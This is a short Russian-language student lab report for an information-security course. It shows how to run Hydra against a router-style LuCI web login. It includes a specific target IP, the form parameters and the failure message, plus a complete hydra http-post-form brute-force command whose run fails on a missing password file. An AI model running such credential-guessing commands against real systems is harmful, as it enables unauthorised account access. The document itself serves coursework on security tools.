

3 этап индивидуального проекта

Основы информационной безопасности

Савурская Полина

Содержание

1	Цель работы	5
2	Задание	6
3	Выполнение лабораторной работы	7
4	Выводы	8

Список иллюстраций

3.1 Hydra	7
---------------------	---

Список таблиц

1 Цель работы

Использование Hydra

2 Задание

Hydra используется для подбора или взлома имени пользователя и пароля. Поддерживает подбор для большого набора приложений.

Исходные данные: IP сервера 178.72.90.181; Сервис http на стандартном 80 порту; Для авторизации используется html форма, которая отправляет по адресу `http://178.72.90.181/cgi-bin/luci` методом POST запрос вида `username=root&password=test_password`; В случае не удачной аутентификации пользователь наблюдает сообщение `Invalid username and/or password! Please try again.`

3 Выполнение лабораторной работы

Делаем запрос на Hydra

```
(pasavurskaya@root)-[~]
$ hydra -l root -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -
V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password=
^PASS^:Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-28 15:
03:15
[ERROR] File for passwords not found: /home/pasavurskaya/pass_lists/dedik_pas
ses.txt
```

Рис. 3.1: Hydra

4 Выводы

Мы научились делать запрос на Hydra.